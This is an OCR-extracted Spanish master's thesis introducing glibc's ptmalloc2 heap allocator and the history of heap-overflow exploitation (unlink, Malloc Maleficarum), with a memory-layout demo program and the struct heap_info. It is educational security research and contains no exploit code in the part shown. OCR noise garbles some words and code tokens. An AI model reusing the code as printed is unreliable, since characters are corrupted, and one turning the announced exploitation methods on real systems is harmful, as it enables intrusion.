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Abstract

Uno de los problemas a los que se enfrentan los estudiosos de la gestiéon de memoria
dinamica es la falta de documentacion relativa al modo en que se gestiona la memoria
dindmica en el sistema operativo GNU/Linux. La resolucién de este problema es
relevante ya que deberia permitir asentar las bases para el descubrimiento de nuevas
vulnerabilidades en el algoritmo encargado de realizar dicha gestién.

El objetivo de esta investigacion es presentar un marco tedrico sobre el cual

fundamentar el estudio de las vulnerabilidades en el algoritmo ptmalloc2 tal y como
estd implementado en la glibc 2.12.1 y asi reducir las dificultades que presenta la
falta de documentacién que se ha mencionado.
A tal efecto, la primera fase de esta investigacion se basé en realizar un estudio
tedrico del funcionamiento del algoritmo ptmalloc2. Posteriormente se realizé un
estudio sobre las vulnerabilidades publicadas de dicho algoritmo, focalizandose en las
vulnerabilidades mas significativas del pasado hasta llegar al estado del arte, de modo
que una vez realizado el estudio tedrico de dichas vulnerabilidades se prosiguié con
la comprobaciéon empirica de la funcionalidad de las técnicas establecidas para la
explotacion de una de las vulnerabilidades més relevantes.

En el proceso de esta investigacion se establecié cual era el estado del arte real
en cuanto a las técnicas utilizadas para aprovecharse de las vulnerabilidades del
algoritmo ptmalloc2. También se presentd una modificacion de una de las técnicas
existentes en el pasado pero ahora obsoleta, con la cual es posible atacar el algoritmo
ptmalloc?2 de manera satisfactoria.

Los resultados obtenidos permiten dar un nuevo enfoque a las técnicas utilizadas
para explotar las vulnerabilidades en la gestién de la memoria dindmica, presentando
una modificacion de una técnica utilizada en el pasado con el beneficio de tener menos
requisitos que las técnicas utilizadas en la actualidad.

Keywords: dynamic allocation, heap overflow, heap exploitation, memory co-
rruption, ptmalloc, glibc, unlink, malloc maleficarum



Resumen

El tema elegido para el desarrollo de esta investigacién es el estudio de la gestion
de la memoria dindmica en el sistema operativo GNU/Linux.

Esta investigacion esta dividida en dos claras partes. La primera de ellas es el
estudio del algoritmo que se encarga de realizar dicha gestién, llamado ptmalloc?.
Se detallan las estructuras de datos que se utilizan en la implementaciéon de este
algoritmo, el modo en el que se utilizan y cual es su funcionalidad. Debido a que la
complejidad del algoritmo es elevada, sélo se detallan aquellos aspectos que realmente
son relevantes para entender los capitulos que siguen a este estudio. Este estudio
teodrico se lleva a cabo sobre el algoritmo ptmalloc2 tal y como estd implementado
en la libreria estandar de C para sistemas GNU en su versién 1.12.1.

La segunda parte de esta investigacién estudia las vulnerabilidades publicadas de este
algoritmo. Debido a la poca informacion sobre las vulnerabilidades en el algoritmo
tal y como estd implementado hoy en dia, las técnicas que se aprovechan de las
vulnerabilidades estdn basadas en versiones anteriores de este algoritmo. Se realiza
un estudio de las técnicas publicadas desde las mas antiguas hasta el estado del
arte. De este modo se puede tener una idea global de como ha ido evolucionando el
algoritmo y las técnicas utilizadas para explotarlo.

Por esta razém, durante la investigacion se ird cambiado la versiéon de la libreria
estandar de C sobre la que se trabaja debido a que ciertas vulnerabilidades se han
solucionado en sus versiones anteriores.

El principal motivo para realizar esta investigacion es la poca informacion existen-
te sobre la explotacién del sistema de gestion de la memoria dindmica en el sistema
operativo GNU /Linux. Actualmente no es posible ni conocer cudl es el estado del
arte real en este campo debido a la falta de informacién sobre el tema. Durante mu-
chos anos no ha habido ninguna noticia sobre la evolucién del algoritmo en cuestion,
aun cuando han sido publicadas miltiples versiones del algoritmo. Actualmente es
dificil saber si el algoritmo es vulnerable a las técnicas de explotacion publicadas o
por el contrario, dichas vulnerabilidades han sido corregidas.

Otro de los motivos que me llevé a la realizacién de esta investigacién fue que
hoy en dia la mayoria de empresas o particulares que desarrollan software no son
conscientes de los aspectos relativos a su explotacién. La ejecuciéon en un sistema
de una tunica aplicacion vulnerable entre otros cientos o miles de aplicaciones no
vulnerables hace que todo un sistema se convierta en un sistema inseguro. Debido
a que actualmente la mayoria de tareas que realizamos las llevamos a cabo con un
ordenador al frente, los usuarios no se pueden permitir el lujo de utilizar sistemas
inseguros donde la integridad y privacidad de sus datos pueda ser vulnerada. Esta
investigacion intenta ser un ejercicio de divulgaciéon para que los desarrolladores de
software sean conscientes de estos aspectos.
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1. Introducciéon

Este trabajo explica algunos de los métodos utilizados para explotar software y
como evadir las medidas de seguridad que se implementan para evitarlo. La explota-
cién de software se basa en encontrar algun tipo de vulnerabilidad en un programa
para poder modificar su comportamiento. Esta modificacion puede desembocar en la
ejecucion de codigo totalmente ajeno al software explotado, en el cierre del software
explotado o en la alteracion de su légica de ejecucién.

Hoy en dia, la sociedad vive rodeada de tecnologia, la sociedad depende de la
tecnologia y, a su vez, la tecnologia depende completamente del software que se le ha
programado. Leemos nuestra correspondencia con el ordenador, nos comunicamos
con nuestros maéviles, compramos por internet, nuestros hogares y vehiculos estan
protegidos por sistemas electronicos, las comunicaciones mundiales dependen de sis-
temas informaticos, los sensores de aviones y barcos funcionan gracias a su software
y centrales térmicas o nucleares dependen de los sistemas de control y medicién que
se les ha programado. Es por esta razén por la que el software desarrollado por
empresas y particulares deberia basarse en un principio de seguridad total.

Actualmente, el software desarrollado no puede permitirse el lujo de sélo ser fun-

cional o de tener una interfaz grafica impresionante. Cuando se trata de software
critico -y actualmente la mayoria de software es critico - es mucho peor tener softwa-
re funcional e inseguro que, directamente, no tener el software. Acaso alguien tendria
el valor suficiente como para subir a un avién cuando se es consciente de que su soft-
ware de control es vulnerable y de que cualquier atacante podria alterar su rumbo
de vuelo? Acaso no es mejor que cien personas no puedan coger un vuelo a que cien
personas acaben en el fondo del atlantico?
Es por esta razon por la que se ha desarrollado este documento. Para acercar de un
modo sencillo los conceptos de seguridad a nivel de aplicaciéon. Este documento in-
tenta realizar una introduccién al andlisis de vulnerabilidades y su explotacién. Estos
conceptos se explican del modo mas simple posible para que no sélo los mas experi-
mentados puedan entenderlo. Se trata de que sean asequibles para los programadores
mas noveles, pues son estos los que programaran el software del futuro.

Seria plausible llegar a la conclusién de que para aprender a desarrollar software
seguro no es necesario conocer los ataques a los que dicho software esta sometido. Sin
embargo, llegar a esta conclusion no seria mas que un error. Si un programador no
conociera la metodologia utilizada por los atacantes jamés seria capaz de anticiparse
a sus acciones y siempre iria un paso por detras. Jamés podria idear un nuevo sistema
de defensa sin conocer todos los detalles de un ataque. Si a un programador sélo se le
ensenara qué funciones son vulnerables y cudles no, como seria capaz de programar
sus propias funciones sin caer en los mismos errores que sus antecesores? Por esta



razén este documento explica con maximo detalle cuales son algunos de los conceptos
y técnicas utilizados para vulnerar software.

Debido a que esta investigacion no esta enfocada al desarrollo de ningun tipo de
software en concreto, se hace imposible realizar una clara separacién del contenido
teorico y el contenido préactico. La metodologia seguida al desarrollar este trabajo
se ha dividido en dos fases. La primera fase se ha basado en realizar un estudio
teodrico del funcionamiento del algoritmo ptmalloc2. Posteriormente se ha realizado un
estudio sobre las vulnerabilidades publicadas de dicho algoritmo, focalizdndose en las
vulnerabilidades mas significativas del pasado hasta llegar al estado del arte, de modo
que una vez realizado el estudio teérico de dichas vulnerabilidades se ha proseguido
con la comprobacién empirica de la funcionalidad de las técnicas establecidas para
la explotacién de una de las vulnerabilidades més relevantes.

De un modo parecido, los conceptos que se tratan en esta investigacién estan
relacionados con la metodologia utilizada. En la primera parte de esta investigacién
se realiza un estudio del algoritmo que implementa la gestién de la memoria dindmica
en el sistema operativo GNU/Linux. De este modo se establecen los fundamentos
tedricos para que el lector sea capaz de comprender los aspectos que se tratan en
los capitulos que le siguen. En estos capitulos se estudian las vulnerabilidades que
afectan a la gestion de la memoria dinamica y con qué metodologias es posible
explotar dichas vulnerabilidades. Llegado al término de esta investigacion el lector
tendra una vision global del funcionamiento del algoritmo utilizado para la gestion
de la memoria dindamica, asi como el conocimiento necesario para proseguir con la
busqueda de nuevas vulnerabilidad en el cédigo de dicho algoritmo.

A continuacién se da una breve descripcion sobre aquellos capitulos de esta in-
vestigacion en los que se desarrollan los conceptos técnicos:
En el Capitulo 1 se realiza una introduccion a los conceptos bésicos de esta investi-
gacion.
En el Capitulo 2 se presenta un estudio del algoritmo encargado de realizar la ges-
tion de la memoria dindmica en el sistema operativo mencionado. Se presentan las
estructuras de datos utilizadas y se detalla la utilidad de las mas relevantes.
En el Capitulo 3 se estudia la vulnerabilidad més significativa que en un pasado tuvo
el algoritmo. Se detalla cudles eran las técnicas utilizadas para explotarla, se presenta
una nueva técnica no publicada hasta el momento y se detalla como se solucion6 di-
cha vulnerabilidad.
En el Capitulo 4 se estudia una de las técnicas mas actuales para vulnerar la gestién
de la memoria dinamica.
En el Capitulo 5 se reflexiona sobre las técnicas estudiadas en los capitulos previos,
sus ventajas e inconvenientes. Ademas se presenta una modificacién de la técnica
estudiada en el Capitulo 3 de modo que sea aplicable en la actualidad.



Para la realizacion de esta investigacion se ha trabajado con la distribucién de
GNU/Linux Ubuntu en su versién 10.10. El c6digo fuente escrito estd pensado para
ejecutarse en arquitecturas Intel x86 de 32 bits.



1.1. Trabajo relacionado

Antes de continuar, cabe mencionar que este documento se cimienta en los con-
ceptos explicados en Introduccion a la explotacion de software en sistemas Linux[17],
escrita como predmbulo de esta investigacion.

El documento mencionado explica dos conceptos muy diferentes.

El primero de ellos es el shellcoding. El desarrollo de shellcodes se basa en la progra-
macién en ensamblador de ciertas rutinas que permitan realizar las acciones que un
programador necesite una vez se haya vulnerado el software investigado. La progra-
macién de shellcodes es bastante compleja ya que cada una de las rutinas programa-
das debe cumplir ciertas restricciones y, debido a estas restricciones, el programador
no puede utilizar todas las funcionalidades que proporciona el lenguaje ensamblador.
El segundo concepto tratado explica el modo de vulnerar software aprovechando los
desbordamientos de bifers en la regién de memoria llamada stack. Este tipo de vul-
neracion de software es parecida a la que se explica en esta investigacién, pero que
implica el heap, sin embargo, la explotacion de desbordamientos en el heap es mucho
mas ardua.

Se recomienda al lector tener un dominio bésico de los conceptos tratados en la
investigacion mencionada para poder seguir la investigacion actual sin ningtin tipo
de problema.



1.2. Objetivos

El primer objetivo de esta investigacion es desarrollar toda la teoria relacionada
con el funcionamiento del heap de modo que el lector sea capaz de entender todos
los conceptos que se explicaran posteriormente.

El funcionamiento del heap no es algo trivial y, por lo tanto, uno podria empezar a di-
vagar e intentar explicar todos sus mecanismos, obteniendo al final un documento de
cientos de paginas. Sin embargo, la descripcion que se realizard en esta investigacién
no busca detallar todos los conceptos relativos a su funcionamiento, sino desarrollar
todos aquellos aspectos, suficientes y necesarios, para que el lector sea capaz de en-
tender aquello que se desarrollarda como segundo objetivo de esta investigacion.
Cabe destacar que la explicacion tedrica del funcionamiento del heap no sélo se realiza
para que el lector pueda entender los conceptos que se detallaran en esta investiga-
cién, sino que también busca formar al lector de modo que una vez haya entendido
los conceptos que aqui se retratan, sea capaz de ir un paso mas alla y descubrir por
¢l mismo nuevas vulnerabilidades en los algoritmos implicados o nuevas medidas de
seguridad para evitar nuevas vulnerabilidades.

El segundo objetivo de esta investigacion es presentar el modo en el que se han
estado explotando hasta el momento las vulnerabilidades existentes en la implemen-
tacion del heap. Los contenidos se desarrollaran de modo que se empiece detallando
las técnicas con las que se empezo6 a vulnerar la gestion de la memoria dindmica en
Linux y se ird evolucionando hacia las técnicas mas modernas descritas Phantasmal
Phantasmagoria.

Phantasmal es un hacker que desarrolld un conjunto de teorias enfocadas a la ex-
plotacién del heap en una época en la que se creian corregidas las vulnerabilidades
existentes y donde parecia que no habia nadie capaz de ir un paso mas alla y descu-
brir nuevos errores.

Asi pues, Phantasmal Phantasmagoria, con las siguientes palabras, presentaba uno
de los textos mas reveladores sobre vulnerabilidades en el heap:

It 1s for this reason, a small suggestion of impossibility, that I present the Malloc
Maleficarum.

Y asi es como compartiéo con el resto de hackers del mundo, no uno, sino cinco
posibles métodos para vulnerar la seguridad de la gestion de memoria dinamica en
sistemas GNU/Linux.

Aun asi, si el segundo objetivo de este apartado fuera simplemente explicar lo que
ya explico Phantasmal en su texto, este apartado no tendria ninguna razén de ser.
Asi pues, déonde yace la problemética? Principalmente en que el texto mencionado
se escribié en 2005 dando tan sélo conceptos tedricos, y hasta 2009 no se volvié a
escribir sobre el tema.



Fue en 2009 cuando blackngel puso en préactica los conceptos explicados por Phan-
tasmal, y desde 2009 hasta 2012 no ha habido ninguna otra noticia al respecto. En
2009, blackngel demostré empiricamente como algunas de las técnicas explicadas por
Phantasmal atin eran vigentes, y para ello utilizé la version 2.8 de la libreria glz’b(ﬂ

Esto demuestra que durante cuatro anos - de 2005 a 2009 - y después de cinco
nuevas versiones de la libreria glibc - de la 2.3 a la 2.8 - muchas de las vulnerabilidades
explicadas por Phantasmal atin no se habian corregido. Y esto nos lleva a definir
especificamente el segundo objetivo de este apartado, que no es méas que conocer
cual es el verdadero estado del arte en la explotacion del heap, y si las teorias de
Phantasmal siguen vigentes 7 anos después de su publicaciéon. De no ser asi, se
detallard el modo en el que se han solucionado dichas vulnerabilidades y, ademas,
durante el transcurso de la investigacion se intentaran encontrar nuevos vectores de
ataque que permitan la vulneracién del algoritmo encargado de implementar el heap.

Por 1ltimo, cabe destacar que en el presente documento no se detallaran todas
las técnicas que se presentaron en el texto de Phantasmal, sino que se estudiaran
aquellas que sean las més representativas y que permitan al lector obtener un punto
de vista general sobre cual acostumbra a ser el vector de ataque en estos casos, para
que de este modo, sea el mismo lector el que se pueda adentrar en los més oscuros
recovecos del sistema de gestion de memoria dindmica del sistema operativo y poder
discernir por cuenta propia posibles vulnerabilidades atin por descubrir.

!La librerfa glibc es la encargada de implementar el sistema de gestién de memoria dindmica
en sistemas GNU/Linux.



1.3. Estado del arte

En el mundo de la explotacion de software, el trayecto dio comienzo con uno
de los primeros gusanos informéticos llamado morris worm en el 198 Esta serfa
la primera muestra de la importancia que tendria en un futuro el hecho de poder
realizar una inyeccion de datos en memoria y, consiguientemente, corromper los datos
almacenados.

Sin embargo, no fue hasta 1999 cuando Matt Conover realiz6 el primer trabajado
divulgativo sobre como desbordar variables ubicadas en la regién de memoria llamada
heap [23].Y en el 2000 fue cuando sali6 a la luz el primer ezploit que aprovechaba un
desbordamiento de bufer en el heap[24], y la publicacién de dicho ezploit vino de la
mano del ilustre Solar Designer, conocido por esta y muchas otras contribuciones que
han hecho que, hoy en dia, la seguridad de nuestros sistemas sea significativamente
mejor que en el pasado.

En la legendaria e-zine Phrack, se escribieron dos articulos en el mismo ntiimero en
el que se explicaban nuevas técnicas aplicables al desbordamiento de bifers en el heap.
El primer articulo se llamé Vudo malloc tricks escrito por MaXX |15] y explicaba el
funcionamiento del algoritmo encargado de realizar la gestién de memoria dinamica,
por aquel momento Doug Lea’s malloc() y también explicaba algunos métodos para
conseguir la ejecucién de coédigo arbitrario a partir del desbordamiento de bifers
en el heap. El segundo articulo fue anénimo y se tituld Once upon a free()|6] y se
focaliz6 en explicar la implementacion del System V malloc.

Fue en 2003 cuando jp escribid, también en la Phrack, el articulo titulado Advan-
ced Doug Lea’s malloc exploits[13] donde se presentaban nuevas técnicas de explota-
cion y se sentaban las bases para lo que estaba por venir.

Todas estas técnicas estuvieron vigentes hasta que en 2004 la libreria donde estaba
el cédigo encargado de implementar la gestion de la memoria dindmica se mejor6 ha-
ciendo que todas las técnicas mostradas hasta el momento quedaran obsoletas.

Fue por esta razon por la cual Phantasmal Phantasmagoria escribié el articulo
titulado The Malloc Maleficarum[26], donde se recogian un conjunto de técnicas
tedricas por las cuales seria posible evadir las docenas de mejoras, restricciones y
comprobaciones que se anadieron al algoritmo. Y lo escribié simplemente por el reto
interno que tiene cada hacker de superar los limites impuestos cuando alguien le
asegura que algo es imposible.

Este texto fue una revolucion en cuanto a plantear las cosas de un modo diferente vy,
de nuevo, cimentar los conocimientos sobre los que se basarian nuevos textos.

Finalmente fue blackngel con su Malloc Des-Maleficarum|8| en 2009 y con The
House of Lore: Reloaded|9], quien dio un cariz empirico a cada una de las técnicas
explicadas por Phantasmal Phantasmagoria.

2Informacién sobre el gusano Morris:
http://en.wikipedia.org/wiki/Morris_worm
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1.4. Sobre el heap

El heap es la region de memoria que utilizan los programas para almacenar aque-
llos datos de los cuales, en un principio, no se sabe su tamano.

Debido a que no se conoce el tamano de los datos en tiempo de compilacion,
el programador debe pedir espacio para dichos datos con ciertas instrucciones que
proporciona el sistema operativo. Del mismo modo, el programador debe estipular
cuando se puede liberar el espacio reservado para los datos. Todo este proceso ocurre
en tiempo de ejecucion, que es cuando se conoce el tamano de los datos a almacenar.

Dado que el tamano de los datos no es conocido de antemano, no es posible
utilizar estructuras de datos tales como los stack fmmesﬂ Es por esta razén que para
gestionar el almacenamiento de dichos datos es necesario un conjunto de algoritmos
mucho mas complejos. Este conjunto de algoritmos son los que se encargan de lo
que se conoce como la gestion de memoria dinamica. Cabe destacar que se habla
de memoria dinamica debido a que el tamano de los datos almacenados en el heap
puede variar en cualquier momento, ya sea aumentando o reduciendo su tamano o
almacenando y eliminando otros datos.

Todas estas funcionalidades estan implementadas en una libreria llamada g¢libc o
GNU C Libmryﬂ que, como su nombre indica, es la libreria estandar de lenguaje C
de GNUP'| Esta librerfa se acostumbra a utilizar en sistemas GNU o sistemas que in-
corporen un nucleo Linux. La glibc implementa muchas de las funcionalidades que los
programadores o el propio sistema operativo utilizan continuamente. Funciones como
printf() o las llamadas al sistemaﬂ estan implementadas en la glibc. En un principio
la gestion de la memoria dinamica que se implementaba en la libreria g¢libc estaba
basada en el cdédigo implementado por Doug Lea y se conocia coloquialmente como
dlmallodﬂ, sin embargo, a partir de la versién 2.3.x de la glibc se incluy6é una nueva
implementacién llevada a cabo por Wolfram Gloger basada en la implementacion ya
existente de Doug Lea pero con soporte para procesos con mas de un hilo o thread.
Esta nueva implementacion se conocié como ptmalloc y es la que se estudiara en esta
investigacion [

Lo que importa es que los algoritmos utilizados en el heap y las funciones para
almacenar, redimensionar o liberar datos estan implementadas en la glibc. Asi que

3Conceptos como stack o stack frame se han tratado en la investigacién citada en el apartado

4http:/ /www.gnu.org/software/libc/libc.html

Shttp://www.gnu.org/

6El concepto de llamada al sistema o syscall se ha tratado en la investigacién citada en el
apartado

"Informacién sobre dlmalloc: http://g.oswego.edu/dl/html/malloc.html

8Informacién sobre ptmalloc: http://www.malloc.de/en/
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esta libreria es la que se estudiard a continuacién. Recalcar que en esta investigacion
se utiliza la version de la libreria 2.12.1. Dicha version es la que se encuentra en
el sistema operativo Ubuntu 10.10. Para conocer cual es la version de glibc de un
sistema operativo con nucleo Linux basta con ejecutar el siguiente comando en la
shell: /1ib/libc.so.6

Asi pues, en los proximos apartados se detallara el funcionamiento de los algorit-
mos encargados de gestionar el almacenamiento de datos en el heap.
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1.5. Conceptos Basicos

Antes de entrar de lleno con la definiciéon de las estructuras de datos relevantes
para la gestion de memoria dindmica se deben asentar algunos conceptos basicos
para que el lector se ubique.

Cuando se habla de regiones de memoria, se debe tener claro que dichas regiones
normalmente no se comparten entre procesos. Por ejemplo, si se estan ejecutando
dos procesos independientes, cada uno tendra su propio stack o heap. Sin embargo,
si se revisaran las direcciones de memoria donde se ubican las variables de dichos
procesos, éstas podrian ser iguales. Esto se debe a que cuando el programador obtiene
la direcciéon en memoria de una variable, dicha direccion es lo que se conoce como
direccion virtual. La direccién obtenida no es la direccién fisica real donde se ubica
la variable dentro de la memoria RAM sino que el nicleo del sistema operativo se
encarga de realizar la traduccién entre direcciones virtuales y direcciones reales a
partir de lo que se conoce como tablas de pdginas.[21]

Gracias a este procedimiento, los procesos siempre se acostumbran a cargar en las
mismas direcciones virtuales de memoria. Aunque, tal y como se vera en los préximos
apartados, hace un tiempo, debido a medidas de seguridad, se anadi6 cierto nivel de
aleatoriedad en la direccion de carga de los diferentes segmentos de memoria de un
proceso, tales como el stack o el heap. Esta técnica se conoce como ASLR y se lleva
a cabo para que un atacante remoto no pueda conocer de antemano en qué posicion
exacta de memoria se cargan ciertos datos.

En la Figura [l| se puede ver como se ubicarian los datos en memoria una vez se
ejecutara un binario. Aclarar que cuando se habla de binario o programa, normal-
mente se hace referencia al cédigo fuente o al ejecutable ELF, sin embargo, cuando
se habla de proceso se hace referencia al conjunto de datos que se cargan en memoria
cuando se ejecuta un binario.

Lo que se muestra en la Figura (1] es la estructura en memoria de un proceso en el
sistema operativo, no la estructura de un ejecutable ELFﬂ.

Lo primero que se puede apreciar es que la direccion de carga del proceso no es
0x00000000, sino 0x08000000. Esta direccion puede variar entre sistemas operativos y
arquitecturas, pero la idea principal es que dicha direccién la especifica el enlazador o
linker en el proceso de compilacién del binariﬂ. Y si bien es cierto que la direccion
de carga se puede especificar manualmente, la mayoria de procesos se cargan en
direcciones cercanas a 0x08000000. [4]

9Para més informacién sobre ejecutables ELF se puede consultar:
http://en.wikipedia.org/wiki/Executable_and_Linkable_Format
http://www.skyfree.org/linux/references/ELF_Format .pdf

WEn Linux, normalmente la direccién de carga para arquitecturas de 32 bits acostumbra a ser
0x8048000, para arquitecturas de 64 bits acostumbra a ser 0x400000.
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Figura 1. Mapa de memoria de un proceso

Esta decision no es del todo arbitraria sino que tiene un propédsito. El objetivo
de cargar un proceso a partir de dicha direccion es evitar la sobreescritura de datos
si se produce lo que se conoce como NULL pointer dereference. Un NULL pointer
dereference se da cuando un programador comete el error de escribir en la direccién
de memoria 0x00000000 pensando que esta escribiendo en una direccién valida. Esto
puede ocurrir cuando, por ejemplo, se llama a la funcién malloc() y no se comprueba
que su valor de retorno sea valido.

Asi pues, por conveniencia, los procesos se cargan en memoria en direcciones cercanas
a la comentada, de modo que dejen un margen de unos 128MB de memoria para evitar
que estos errores del programador desemboquen en situaciones peores. [5]

Por otro lado, a partir de la direcciéon de memoria 0xc0000000 se ubican los datos
utilizados por el sistema operativo, por tanto, este es el limite superior del proceso[2].
De la direccion 0xc0000000 hacia abajo, se encuentran los argumentos y las variables
de entorno que ha heredado el proceso al ser ejecutado desde la linea de comandos|25].
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A continuacion se detalla qué datos se almacenan en cada una de los siguientes
segmentos[3]:

stack:

En el stack o pila se almacenan los datos relativos a las llamadas a funciones.
Sus parametros, variables locales, direccién de retorno, etc. Tal y como indica
la flecha del diagrama, la pila crece de las direcciones altas de memoria hacia
las direcciones bajas. Mucha mas informacién sobre la pila se puede encontrar
en la investigacién mencionada en el apartado [I.1]

mmap:
En el segmento mmap se almacenan datos varios tales como librerias compar-
tidas o aquellos datos que se almacenen con la llamada al sistema mmap().

heap:

El segmento que define el heap es en el que se almacenan variables dinamicas
y crece de direcciones de memoria menores a mayores. Funciones tales como
malloc(), realloc(), free(), etc son las que gestionan los contenidos del heap. La
gestion del heap es compleja y, por esta razén, en los siguientes apartados se
detallard su funcionamiento.

bss:
El segmento bsﬂ sirve para almacenar variables globales o estaticas no inicia-
lizadas del estilo int x;

data:

El segmento data se utiliza para almacenar variables globales o estaticas que
se han inicializado del estilo int x = 0;.

text:

En el segmento text basicamente se almacenan las instrucciones que forman
el binario. Este segmento es de sélo lectura y si se intenta escribir en él se
produciria un error de violacién de acceso o segmentation fault.

El cédigo [1] permite corroborar lo que se ha afirmado hasta el momento. En dicho
codigo se crean diferentes variables; estaticas, globales, locales, inicializadas, etc de
modo que posteriormente se imprima la direccion virtual donde se ubican dichas
variables. De este modo se puede tener una idea de la estructura del proceso en
memoria.

HBSS es el acrénimo de Below Stack Section.
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#include <stdio.h>
#include <stdlib.h>

/* Variable global inicializada. [data] */

int init_global_var = 10;

/# Variable global no inicializada. [bss] */

int global_var;

/+ Variable global estatica inicializada. [data] =*/
static int init_static_var = 20;

/* Variable global estatica no inicializada. [bss] */
static int static_var;

int main (int argc, char xxargv, char xxenvp)

{

/* Variable local estatica inicializada. [data] =/
static int init_static_local_var = 30;

/* Variable local estatica no inicializada. [bss] */
static int static_local_var;

/+ Variable local inicializada. [stack] =/

int init_local_var = 40;

/* Variable local no inicializada. [stack] =*/

int local_var;

/* Variable dinamica. [heap] */

void % dynamic_var = malloc (100);

printf ("Direccion de la funcion main [.text]: $%p\n", &main) ;

printf ("Distancia: %u bytes\n", (void «)&init_global_var - (voidx)&
main) ;

printf ("Direccion de la variable global inicializada [.data]: %p\n"
0 &init_global_var);

printf ("Distancia: %u bytes\n", (void «)&init_static_var - (void x)

&init_global_var);

printf ("Direccion de la variable global estatica inicializada [.
datal: %p\n", &init_static_var);

printf ("Distancia: %u bytes\n", (void «)&init_static_local_var — (
void ) &init_static_var);

printf ("Direccion de la variable local estatica inicializada [.data
l: %p\n", &init_static_local_var);

printf ("Distancia: %u bytes\n", (void «)&static_var - (void «)&
init_static_local_var) ;

printf ("Direccion de la variable global estatica no inicializada [.

bss]: %p\n", &static_var) ;
printf ("Distancia: %u bytes\n", (void «)&static_local_var - (void

*) &static_var) ;
printf ("Direccion de la variable local estatica no inicializadal.

bss]: %p\n", &static_local_var);

printf ("Distancia: %u bytes\n", (void «)&global_var - (void )&
static_local_var);

printf ("Direccion de la variable global no incializada [.bss]: 2%p\n
Ws &global_var) ;
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printf ("Distancia: %u bytes\n", (void x)&dynamic_var - (void «*)&

global_var);

printf ("Direccion de la variable dinamica [heap]: %p\n",
dynamic_var) ;
printf ("Distancia: %u bytes\n", (void «)&local_var - (void x)&

dynamic_var) ;

printf ("Direccion de la variable local no incializada [stack]: 2%p\n
We &local_var) ;

printf ("Distancia: %u bytes\n", (void ) &init_local_var - (void x)&
local_var);

printf ("Direccion de la variable local inicializada [stack]: 2%p\n",

&init_local_var) ;
printf ("Distancia: %u bytes\n", (void ) &envp[0] - (void «)&
init_local_var);

printf ("Direccions de la variable de entorno [cerca de 0xc0000000]:

go\n", &envp[0]) ;

exit (0);

Cédigo 1. Variables de un proceso en memoria

Una vez ejecutado se obtiene lo siguiente:

newlog@ubuntu: ~/Documents/TFM/Heap_Intro$ gcc mem_layout.c
newlog@ubuntu: ~/Documents/TFM/Heap_Intro$ ./a.out

Direccion de la funcion main [.text]: 0x8048424

Distancia: 7160 bytes

Direccion de la variable global inicializada [.data]: 0x804a0llc
Distancia: 4 bytes

Direccion de la variable global estatica inicializada [.data]: 0x804a020
Distancia: 4 bytes

Direccion de la variable local estatica inicializada [.data]: 0x804a024
Distancia: 12 bytes

Direccion de la variable global estatica no inicializada [.bss]: 0x804a030
Distancia: 4 bytes

Direccion de la variable local estatica no inicializada[.bss]: 0x804a034
Distancia: 4 bytes

Direccion de la variable global no incializada [.bss]: 0x804a038
Distancia: 3086571420 bytes

Direccion de la variable dinamica [heap]: 0x8987008

Distancia: 4 bytes

Direccion de la variable local no incializada [stack]: Oxbffdf7d8
Distancia: 4 bytes

Direccion de la variable local inicializada [stack]: Oxbffdf7dc
Distancia: 192 bytes

Direccions de la variable de entorno [cerca de 0xc0000000]: Oxbffdf89c

Cédigo 2. Variables de un proceso en memoria

Si uno se fija en las direcciones de las variables y las contrasta con la Figura
podré intuir que todo parece correcto, sin embargo, debido a que no se conoce
donde empieza cada segmento no se puede asegurar sélo con lo que se ha visto hasta
el momento. Es en este momento en el que entra en escena la aplicacion objdump.
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Esta utilidad tiene muchisimas aplicaciones y una de ellas es la que se ilustra a
continuacion:

newlog@ubuntu: ~/Documents/TFM/Heap_Intro$ objdump -x a.out | grep -E ’'main|
init_global var|init_static_var|init_static_local var|static_var|static_local_var|
global var|dynamic_var’

0804a020 1 O .data 00000004 init_static_var

0804a030 1 O .bss 00000004 static_var

0804a024 1 O .data 00000004 init_static_local_var.2210
0804a034 1 O .bss 00000004 static_local_var.2211

0804a0lc g O .data 00000004 init_global_var

00000000 F *xUNDx 00000000 _ libc_start_main@RQ@GLIBC_2.0
0804a038 g O .bss 00000004 global_var

08048424 g F .text 0000022d main

Codigo 3. Salida de objdump -x

Con objdump -x se obtiene la informacién sobre la cabecera del binario ELF
generado con gcc. Tal y como se puede ver en la salida de objdump las variables se
almacenan en los segmentos de memoria que se han comentado. Por otro lado, se
puede ver que las variables que se almacenan en el heap y en el stack no aparecen
en la salida de objdump. Esto se debe a que objdump trabaja sobre el binario y no
sobre el proceso cargado en memoria. Por esta razon, para dichas variables s6lo nos
podemos guiar por el Cédigo [1}

Por ultimo, comentar que estos datos pueden variar un poco entre sistema ope-
rativo debido a que, en este caso, solo se ha explicado dicha estructura teniendo en
mente el sistema operativo Linux sobre una arquitectura de 32 bits.
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2. Estructuras de datos relevantes

En este apartado se detallan aquellas estructuras que son relevantes para realizar
la gestion de datos del heap.
Al final se tendra una visién general de donde y como se estructuran los datos que
se almacenan en el heap y, de este modo, conocer la manera en la que se gestionan
los datos una vez se almacenan o liberan.

Los fragmentos de cédigo que se mostraran a continuacion se han extraido de
la versién 2.12.1 de la libreria GNU estandar de C o, como se nombrard en este
documento a partir de ahora, glibc. El cédigo fuente de la libreria se puede encontrar
en el enlace mencionado a pie de pégina[l—_zl

Una vez descargado y descomprimido el archivo se podra acceder al directorio
glibc-2.12.1. Dentro de este directorio examinaremos algunos de los archivos que
se encuentran en la carpeta malloc tales como malloc.c, malloc.h o arena.c. Por
otro lado, el directorio include, dentro del directorio glibc-2.12.1, contiene el archivo
malloc.h que también serd de interés. A partir de ahora, siempre que se refiera a
malloc.c, malloc.h o arena.c se hace referencia a aquellos archivos ubicados en el
directorio malloc a menos que se especifique lo contrario.

2.1. Estructura heap_info

Un mismo proceso puede tener uno o varios heaps dependiendo del ntimero de
hilos - o threads - del proceso. Es por esta razén que es necesaria una estructura que

retina y gestione este conjunto de heaps. Esta estructura se conoce como heap_info y
esta detallada en el Cédigo []

typedef struct heap_info {

mstate ar_ptr; /* Arena for this heap. #*/

struct _heap_info *xprev; /* Previous heap. #*/

size_t size; /+ Current size in bytes. */

size_t mprotect_size; /+ Size in bytes that has been mprotected

PROT READ|PROT WRITE. */

/4 Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. #*/

char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];

} heap_info;

Cédigo 4. heap_info (arena.c:59)

